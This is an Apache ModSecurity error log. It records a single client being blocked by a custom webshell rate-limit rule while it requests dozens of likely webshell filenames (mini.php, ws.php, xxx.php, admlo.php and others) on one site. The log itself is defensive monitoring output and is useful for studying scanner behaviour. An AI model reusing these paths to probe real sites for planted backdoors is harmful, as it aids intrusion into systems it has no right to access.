[Tue Apr 14 02:37:32.628501 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:29471] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ad037LBo7Bc8I7P_P--9cQAAAMo"]
[Tue Apr 14 02:37:33.473030 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:24310] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ad037bBo7Bc8I7P_P--9dAAAAMM"]
[Tue Apr 14 02:37:34.126798 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:20874] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ad037rBo7Bc8I7P_P--9egAAAME"]
[Tue Apr 14 02:37:34.623490 2026] [:error] [pid 60317:tid 60355] [client 20.220.194.201:16852] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "ad037rBo7Bc8I7P_P--9fQAAAM8"]
[Tue Apr 14 02:37:35.297462 2026] [:error] [pid 59914:tid 59960] [client 20.220.194.201:37443] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "ad037-q0YMmB3OWbbUliuQAAAFA"]
[Tue Apr 14 02:37:35.897043 2026] [:error] [pid 59913:tid 59938] [client 20.220.194.201:16895] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "ad03765XvQ9C-gZtr2y8owAAABU"]
[Tue Apr 14 02:37:36.373700 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:18911] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "ad038IeTNdEemByf99hXUgAAAIA"]
[Tue Apr 14 02:37:37.030576 2026] [:error] [pid 59915:tid 59993] [client 20.220.194.201:15654] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-ajax.php"] [unique_id "ad038YeTNdEemByf99hXVgAAAJY"]
[Tue Apr 14 02:37:37.474612 2026] [:error] [pid 60317:tid 60351] [client 20.220.194.201:37479] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "ad038bBo7Bc8I7P_P--9hAAAAMs"]
[Tue Apr 14 02:37:38.095272 2026] [:error] [pid 59914:tid 59963] [client 20.220.194.201:18924] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "ad038uq0YMmB3OWbbUlivwAAAFM"]
[Tue Apr 14 02:37:38.726915 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:30246] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "ad038rBo7Bc8I7P_P--9hwAAAME"]
[Tue Apr 14 02:37:39.379543 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:37743] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amthd.php"] [unique_id "ad0387Bo7Bc8I7P_P--9igAAAMk"]
[Tue Apr 14 02:37:40.079726 2026] [:error] [pid 60317:tid 60364] [client 20.220.194.201:28347] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "ad039LBo7Bc8I7P_P--9jwAAANg"]
[Tue Apr 14 02:37:40.797112 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:19374] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "ad039LBo7Bc8I7P_P--9lAAAAMk"]
[Tue Apr 14 02:37:41.541643 2026] [:error] [pid 59915:tid 59992] [client 20.220.194.201:16809] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "ad039YeTNdEemByf99hXagAAAJU"]
[Tue Apr 14 02:37:42.352046 2026] [:error] [pid 60317:tid 60348] [client 20.220.194.201:33498] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8xyz.php"] [unique_id "ad039rBo7Bc8I7P_P--9nAAAAMg"]
[Tue Apr 14 02:37:43.191090 2026] [:error] [pid 59915:tid 59990] [client 20.220.194.201:30262] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ad0394eTNdEemByf99hXcgAAAJM"]
[Tue Apr 14 02:37:43.766280 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:16841] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ad0397Bo7Bc8I7P_P--9nwAAAME"]
[Tue Apr 14 02:37:44.552783 2026] [:error] [pid 59914:tid 59944] [client 20.220.194.201:16847] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ad03-Oq0YMmB3OWbbUliygAAAEA"]
[Tue Apr 14 02:37:45.124137 2026] [:error] [pid 60317:tid 60362] [client 20.220.194.201:35013] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "ad03-bBo7Bc8I7P_P--9pQAAANY"]
[Tue Apr 14 02:37:45.681807 2026] [:error] [pid 59914:tid 59963] [client 20.220.194.201:20910] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws68.php"] [unique_id "ad03-eq0YMmB3OWbbUlizAAAAFM"]
[Tue Apr 14 02:37:46.520761 2026] [:error] [pid 60317:tid 60352] [client 20.220.194.201:18925] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws68.php"] [unique_id "ad03-rBo7Bc8I7P_P--9qgAAAMw"]
[Tue Apr 14 02:37:47.209431 2026] [:error] [pid 60317:tid 60364] [client 20.220.194.201:3252] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws68.php"] [unique_id "ad03-7Bo7Bc8I7P_P--9qwAAANg"]
[Tue Apr 14 02:37:47.962817 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:36044] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws68.php"] [unique_id "ad03-7Bo7Bc8I7P_P--9rgAAAM4"]
[Tue Apr 14 02:37:48.830967 2026] [:error] [pid 59914:tid 59951] [client 20.220.194.201:27058] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ad03_Oq0YMmB3OWbbUli3AAAAEc"]
[Tue Apr 14 02:37:49.805282 2026] [:error] [pid 60317:tid 60363] [client 20.220.194.201:3848] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ad03_bBo7Bc8I7P_P--9sQAAANc"]
[Tue Apr 14 02:37:50.898541 2026] [:error] [pid 59913:tid 59937] [client 20.220.194.201:27055] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ad03_q5XvQ9C-gZtr2y8rQAAABQ"]
[Tue Apr 14 02:37:51.845925 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:3862] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ad03_7Bo7Bc8I7P_P--9vgAAANI"]
[Tue Apr 14 02:38:11.879212 2026] [:error] [pid 60317:tid 60345] [client 20.220.194.201:36070] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "ad04E7Bo7Bc8I7P_P--9-gAAAMU"]
[Tue Apr 14 02:38:12.515566 2026] [:error] [pid 60317:tid 60363] [client 20.220.194.201:14110] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "ad04FLBo7Bc8I7P_P--9_AAAANc"]
[Tue Apr 14 02:38:13.183332 2026] [:error] [pid 60317:tid 60356] [client 20.220.194.201:14451] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "ad04FbBo7Bc8I7P_P--9_gAAANA"]
[Tue Apr 14 02:38:13.871213 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:19602] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/schallfuns.php"] [unique_id "ad04FbBo7Bc8I7P_P--9_wAAANI"]
[Tue Apr 14 02:38:14.604209 2026] [:error] [pid 59913:tid 59917] [client 20.220.194.201:27091] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "ad04Fq5XvQ9C-gZtr2y8vQAAAAA"]
[Tue Apr 14 02:38:15.467558 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:29236] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "ad04F4eTNdEemByf99hXpwAAAIA"]
[Tue Apr 14 02:38:16.262795 2026] [:error] [pid 59913:tid 59921] [client 20.220.194.201:33918] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "ad04GK5XvQ9C-gZtr2y8vwAAAAQ"]
[Tue Apr 14 02:38:17.219399 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:15433] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "ad04GYeTNdEemByf99hXqwAAAIw"]
[Tue Apr 14 02:38:17.701481 2026] [:error] [pid 59913:tid 59923] [client 20.220.194.201:33916] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "ad04Ga5XvQ9C-gZtr2y8wgAAAAY"]
[Tue Apr 14 02:38:18.751892 2026] [:error] [pid 60317:tid 60362] [client 20.220.194.201:23771] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "ad04GrBo7Bc8I7P_P---DQAAANY"]
[Tue Apr 14 02:38:19.530454 2026] [:error] [pid 60317:tid 60356] [client 20.220.194.201:19857] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "ad04G7Bo7Bc8I7P_P---EQAAANA"]
[Tue Apr 14 02:38:20.132070 2026] [:error] [pid 60317:tid 60352] [client 20.220.194.201:28865] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clasa99.php"] [unique_id "ad04HLBo7Bc8I7P_P---EwAAAMw"]
[Tue Apr 14 02:38:20.675047 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:26246] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "ad04HLBo7Bc8I7P_P---FAAAAMM"]
[Tue Apr 14 02:38:21.211797 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:14423] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "ad04HbBo7Bc8I7P_P---FgAAAM4"]
[Tue Apr 14 02:38:21.626775 2026] [:error] [pid 59915:tid 59985] [client 20.220.194.201:27096] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "ad04HYeTNdEemByf99hXtwAAAI4"]
[Tue Apr 14 02:38:22.087285 2026] [:error] [pid 60317:tid 60348] [client 20.220.194.201:27115] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myfilexxx.php"] [unique_id "ad04HrBo7Bc8I7P_P---GAAAAMg"]
[Tue Apr 14 02:38:22.566039 2026] [:error] [pid 59914:tid 59965] [client 20.220.194.201:26265] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "ad04Huq0YMmB3OWbbUljAwAAAFU"]
[Tue Apr 14 02:38:23.024642 2026] [:error] [pid 59913:tid 59927] [client 20.220.194.201:27864] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "ad04H65XvQ9C-gZtr2y8xQAAAAo"]
[Tue Apr 14 02:38:23.586296 2026] [:error] [pid 60317:tid 60352] [client 20.220.194.201:27883] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "ad04H7Bo7Bc8I7P_P---GgAAAMw"]
[Tue Apr 14 02:38:24.190734 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:29189] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karma_144a.php"] [unique_id "ad04ILBo7Bc8I7P_P---HAAAAMM"]
[Tue Apr 14 02:38:24.702320 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:15469] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "ad04ILBo7Bc8I7P_P---HQAAAM4"]
[Tue Apr 14 02:38:25.124140 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:27902] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "ad04IbBo7Bc8I7P_P---IgAAAMc"]
[Tue Apr 14 02:38:25.551820 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:32402] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "ad04IYeTNdEemByf99hXvgAAAIA"]
[Tue Apr 14 02:38:25.991638 2026] [:error] [pid 60317:tid 60352] [client 20.220.194.201:18325] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3586%20b64.php"] [unique_id "ad04IbBo7Bc8I7P_P---KQAAAMw"]
[Tue Apr 14 02:38:26.497689 2026] [:error] [pid 60317:tid 60359] [client 20.220.194.201:19619] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "ad04IrBo7Bc8I7P_P---KwAAANM"]
[Tue Apr 14 02:38:26.971984 2026] [:error] [pid 59913:tid 59917] [client 20.220.194.201:14404] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "ad04Iq5XvQ9C-gZtr2y8ygAAAAA"]
[Tue Apr 14 02:38:27.561610 2026] [:error] [pid 59914:tid 59958] [client 20.220.194.201:15446] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "ad04I-q0YMmB3OWbbUljBQAAAE4"]
[Tue Apr 14 02:38:28.070208 2026] [:error] [pid 59914:tid 59966] [client 20.220.194.201:32434] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "ad04JOq0YMmB3OWbbUljCAAAAFY"]
[Tue Apr 14 02:38:28.529296 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:33699] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "ad04JIeTNdEemByf99hXwQAAAJc"]
